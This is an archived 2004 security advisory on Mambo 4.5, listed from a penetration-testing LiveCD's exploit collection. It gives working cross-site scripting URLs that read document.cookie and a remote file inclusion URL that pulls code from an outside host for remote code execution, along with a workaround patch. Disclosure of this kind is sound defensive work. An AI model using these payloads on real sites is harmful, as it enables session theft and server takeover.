home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / mambo / mambo45.jose.txt < prev    next >
Text File  |  2005-02-12  |  3KB  |  134 lines
  1.  
  2.  
  3. --------------------------------------------------------------------------- 
  4.               Two Vulnerabilities in Mambo 
  5. --------------------------------------------------------------------------- 
  6.  
  7. Author: Jose Antonio Coret (Joxean Koret) 
  8. Date: 2004  
  9. Location: Basque Country 
  10.  
  11. --------------------------------------------------------------------------- 
  12.  
  13. Affected software description: 
  14. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
  15.  
  16. Mambo 4.5 (1.0.9) 
  17.  
  18. Mambo is one of the most powerful Open 
  19. Source Content Management Systems on  
  20. the planet. It is used all over the world for 
  21. everything from simple websites  
  22. to complex corporate applications. Mambo is 
  23. easy to install, simple to manage,  
  24. and reliable. 
  25.  
  26. Web : http://mamboserver.com/ 
  27.  
  28. --------------------------------------------------------------------------- 
  29.  
  30. Vulnerabilities: 
  31. ~~~~~~~~~~~~~~~~ 
  32.  
  33. A. Cross Site Scripting 
  34.  
  35. A1. The first vulnerability that I found is in the 
  36. script index.php. The following 
  37. parameters are vulnerables : Itemid, mosmsg 
  38. and limit. 
  39.  
  40. Examples :  
  41.  
  42. http://<site-with-mambo>/index.php?option=com_content&task=view&id=18&Itemid=39"><script>alert(document.cookie)</script>&mosmsg=<h1>Hi,
  43. %20I%20am%20an%20XSS%
  44. 20Problem</h1><br><br><br><br><br><br><br><br><br><br><br><br><br><br> 
  45.  
  46. http://<site-with-mambo>/index.php?option=com_content&task=view&id=15&Itemid=2&limit=1"><script>alert(document.cookie)</script>&limitstart=1 
  47.  
  48. B. Remote Code Execution 
  49.  
  50. B1. The simple hack made to the Cache_library 
  51. makes mambo vulnerable to a 
  52. remote arbitrary code execution attacks.  
  53.  
  54. Example :  
  55.  
  56. http://<site-with-mambo>/includes/Cache/Lite/Function.php?mosConfig_absolute_path=http://fucking.site.com/ 
  57.  
  58. Workaround: 
  59. ~~~~~~~~~~~ 
  60.  
  61. The file 
  62. mambo/includes/Cache/Lite/Function.php looks 
  63. like : 
  64.  
  65. <?php 
  66.  
  67. /** 
  68. * This class extends Cache_Lite and can be 
  69. used to cache the result and output of 
  70. functions/methods 
  71. * 
  72. * This class is completly inspired from 
  73. Sebastian Bergmann's 
  74. * PEAR/Cache_Function class. This is only an 
  75. adaptation to 
  76. * Cache_Lite 
  77. * 
  78. * There are some examples in the 
  79. 'docs/examples' file 
  80. * Technical choices are described in the 
  81. 'docs/technical' file 
  82. * 
  83. * @package Cache_Lite 
  84. * @version $Id: Function.php,v 1.1 2004/07/21 
  85. 13:38:58 rcastley Exp $ 
  86. * @author Sebastian BERGMANN 
  87. <sb@sebastian-bergmann.de> 
  88. * @author Fabien MARTY <fab@php.net> 
  89. */ 
  90.  
  91. require_once($mosConfig_absolute_path . 
  92. '/includes/Cache/Lite.php'); 
  93.  
  94. class Cache_Lite_Function extends Cache_Lite 
  95. ... 
  96.  
  97.  
  98. Simply add the following 2 lines before the 
  99. require_once statement :  
  100.  
  101. /** ensure this file is being included by a parent 
  102. file */ 
  103. defined( '_VALID_MOS' ) or die( 'Direct Access to 
  104. this location is not allowed.' ); 
  105.  
  106. The fix: 
  107. ~~~~~~~~ 
  108.  
  109. The bugs are fixed in the CVS version. 
  110.  
  111. Disclaimer: 
  112. ~~~~~~~~~~~ 
  113.  
  114. The information in this advisory and any of its 
  115. demonstrations is provided 
  116. "as is" without any warranty of any kind. 
  117.  
  118. I am not liable for any direct or indirect damages 
  119. caused as a result of 
  120. using the information or demonstrations 
  121. provided in any part of this 
  122. advisory.  
  123.  
  124. --------------------------------------------------------------------------- 
  125.  
  126. Contact: 
  127. ~~~~~~~~ 
  128.  
  129.     Joxean Koret at 
  130. joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es 
  131.  
  132.  
  133.  
  134.